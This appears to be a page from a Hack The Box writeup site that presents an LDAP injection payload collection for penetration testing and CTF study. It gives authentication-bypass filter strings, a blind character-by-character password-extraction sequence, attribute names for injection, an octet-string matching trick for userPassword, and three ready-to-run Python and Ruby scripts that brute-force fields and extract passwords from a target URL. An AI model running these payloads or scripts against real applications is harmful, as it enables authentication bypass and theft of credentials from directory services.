~/bokkapig
hack the box machine writeups
← cd ..

LDAP Injection

Payloads and bypasses for web application security

readme.md

LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it’s possible to modify LDAP statements using a local proxy.

Summary#

Methodology#

LDAP Injection is a vulnerability that occurs when user-supplied input is used to construct LDAP queries without proper sanitization or escaping

Authentication Bypass#

Attempt to manipulate the filter logic by injecting always-true conditions.

Example 1: This LDAP query exploits logical operators in the query structure to potentially bypass authentication

user  = *)(uid=*))(|(uid=*pass  = passwordquery = (&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))

Example 2: This LDAP query exploits logical operators in the query structure to potentially bypass authentication

user  = admin)(!(&(1=0pass  = q))query = (&(uid=admin)(!(&(1=0)(userPassword=q))))

Blind Exploitation#

This scenario demonstrates LDAP blind exploitation using a technique similar to binary search or character-based brute-forcing to discover sensitive information like passwords. It relies on the fact that LDAP filters respond differently to queries based on whether the conditions match or not, without directly revealing the actual password.

(&(sn=administrator)(password=*))    : OK(&(sn=administrator)(password=A*))   : KO(&(sn=administrator)(password=B*))   : KO...(&(sn=administrator)(password=M*))   : OK(&(sn=administrator)(password=MA*))  : KO(&(sn=administrator)(password=MB*))  : KO...(&(sn=administrator)(password=MY*))  : OK(&(sn=administrator)(password=MYA*)) : KO(&(sn=administrator)(password=MYB*)) : KO(&(sn=administrator)(password=MYC*)) : KO...(&(sn=administrator)(password=MYK*)) : OK(&(sn=administrator)(password=MYKE)) : OK

LDAP Filter Breakdown:

  • &: Logical AND operator, meaning all conditions inside must be true.
  • (sn=administrator): Matches entries where the sn (surname) attribute is administrator.
  • (password=X*): Matches entries where the password starts with X (case-sensitive). The asterisk (*) is a wildcard, representing any remaining characters.

Defaults Attributes#

Can be used in an injection like *)(ATTRIBUTE_HERE=*

userPasswordsurnamenamecnsnobjectClassmailgivenNamecommonName

Exploiting userPassword Attribute#

userPassword attribute is not a string like the cn attribute for example but it’s an OCTET STRING In LDAP, every object, type, operator etc. is referenced by an OID : octetStringOrderingMatch (OID 2.5.13.18).

octetStringOrderingMatch (OID 2.5.13.18): An ordering matching rule that will perform a bit-by-bit comparison (in big endian ordering) of two octet string values until a difference is found. The first case in which a zero bit is found in one value but a one bit is found in another will cause the value with the zero bit to be considered less than the value with the one bit.

userPassword:2.5.13.18:=\xx (\xx is a byte)userPassword:2.5.13.18:=\xx\xxuserPassword:2.5.13.18:=\xx\xx\xx

Scripts#

Discover Valid LDAP Fields#

#!/usr/bin/python3import requestsimport stringfields = []url = 'https://URL.com/'f = open('dic', 'r')world = f.read().split('\n')f.close()for i in world:    r = requests.post(url, data = {'login':'*)('+str(i)+'=*))\x00', 'password':'bla'}) #Like (&(login=*)(ITER_VAL=*))\x00)(password=bla))    if 'TRUE CONDITION' in r.text:        fields.append(str(i))print(fields)

Special Blind LDAP Injection#

#!/usr/bin/python3import requests, stringalphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"flag = ""for i in range(50):    print("[i] Looking for number " + str(i))    for char in alphabet:        r = requests.get("http://ctf.web?action=dir&search=admin*)(password=" + flag + char)        if ("TRUE CONDITION" in r.text):            flag += char            print("[+] Flag: " + flag)            break

Exploitation script by @noraj

#!/usr/bin/env rubyrequire 'net/http'alphabet = [*'a'..'z', *'A'..'Z', *'0'..'9'] + '_@{}-/()!"$%=^[]:;'.split('')flag = ''(0..50).each do |i|  puts("[i] Looking for number #{i}")  alphabet.each do |char|    r = Net::HTTP.get(URI("http://ctf.web?action=dir&search=admin*)(password=#{flag}#{char}"))    if /TRUE CONDITION/.match?(r)      flag += char      puts("[+] Flag: #{flag}")      break    end  endend

Labs#

References#